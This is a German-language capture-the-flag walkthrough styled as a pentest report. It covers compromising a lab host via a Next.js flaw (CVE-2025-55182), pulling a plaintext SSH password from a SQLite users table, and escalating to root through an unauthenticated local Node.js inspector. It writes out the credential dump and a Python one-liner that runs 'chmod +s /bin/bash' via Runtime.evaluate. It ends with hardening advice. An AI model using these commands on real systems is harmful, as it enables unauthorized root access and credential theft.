
Technischer Penetrationstest-Bericht, der die Ausnutzung von CVE-2025-55182 in Next.js, das Sammeln von Zugangsdaten aus SQLite und die Privilegienausweitung über den Node.js-Inspector zur Erlangung von Root-Zugriff demonstriert.
Dieser technische Writeup beschreibt den Ausnutzungspfad zur Kompromittierung eines Zielsystems, das eine verwundbare Next.js-Webanwendung hostet, den Erhalt des initialen Zugriffs über erbeutete Zugangsdaten sowie die Ausnutzung eines fehlkonfigurierten lokalen Node.js-V8-Inspectors zur Root-Privilegieneskalation.
Das Zielsystem hostet eine Next.js-Webanwendung, die auf den Standard-HTTP/HTTPS-Ports (80/443) läuft. Standardmäßige Verzeichnisenumeration und manuelle Analyse deuten darauf hin, dass die Anwendung eine Version ausführt, die für CVE-2025-55182 verwundbar ist.
Um die Schwachstelle auszunutzen, fangen Sie den Anwendungsverkehr mit Burp Suite (oder Burp Repeater) ab und injizieren Sie einen maßgeschneiderten Exploit-Payload, der auf CVE-2025-55182 abzielt.
Nachdem Sie durch den Exploit Codeausführung und lokales Dateilesen erreicht haben, untersuchen Sie das Anwendungsquellverzeichnis. Die lokale SQLite-Datenbankdatei (database.db) befindet sich neben dem Hauptquellcode der Anwendung.
Fragen Sie den Inhalt der Datenbankdatei ab oder dumpen Sie ihn, um gespeicherte Benutzerdatensätze zu extrahieren.
sqlite3 database.db "SELECT * FROM users;"
Lokalisieren Sie das Klartext-Passwort, das dem lokalen SSH-Benutzer engineer zugeordnet ist.
Nutzen Sie die wiederhergestellten Zugangsdaten, um eine SSH-Sitzung mit dem Zielsystem aufzubauen:
ssh engineer@<TARGET-IP>
Nach der Authentifizierung lesen Sie die User-Flag im Home-Verzeichnis:
cat /home/engineer/user.txt
Prüfen Sie auf Dienste, die ausschließlich an die Loopback-Schnittstelle (127.0.0.1) gebunden sind, um interne Angriffsflächen zu identifizieren:
netstat -tulnp
Ergebnis: Ein interner Node.js-Dienst lauscht aktiv auf dem lokalen Port 9229.
Node.js-V8-Debug-Ports erfordern eine eindeutige Session-UUID für die WebSocket-Kommunikation. Fragen Sie den lokalen Discovery-Endpunkt mit curl und angehängtem /json ab:
curl -s http://127.0.0.1:9229/json
Ausgabe:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
Da der Ziel-Node.js-Prozess mit Root-Rechten läuft, können Sie über Python und WebSockets eine Chrome-DevTools-Protocol-(CDP)-Runtime.evaluate-Nachricht senden, um das SUID-Bit auf /bin/bash zu setzen:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
Verifizieren Sie, dass /bin/bash nun über SUID-Berechtigungen verfügt (-rwsr-sr-x), und rufen Sie dann Bash unter Beibehaltung der Privilegien auf:
ls -l /bin/bash
bash -p
Navigieren Sie zum Home-Verzeichnis des Root-Benutzers, um die finale Flag zu erfassen:
cd /root
cat root.txt
Die Absicherung von Umgebungen gegen diese Vektoren erfordert das Patchen von Webanwendungen, die für bekannte CVEs verwundbar sind, die ordnungsgemäße Einschränkung von Datenbankdateiberechtigungen sowie die Sicherstellung, dass Debug-Ports (wie der Node.js-Inspector auf Port 9229) in Produktionsumgebungen niemals exponiert oder ohne Authentifizierung zugänglich gelassen werden.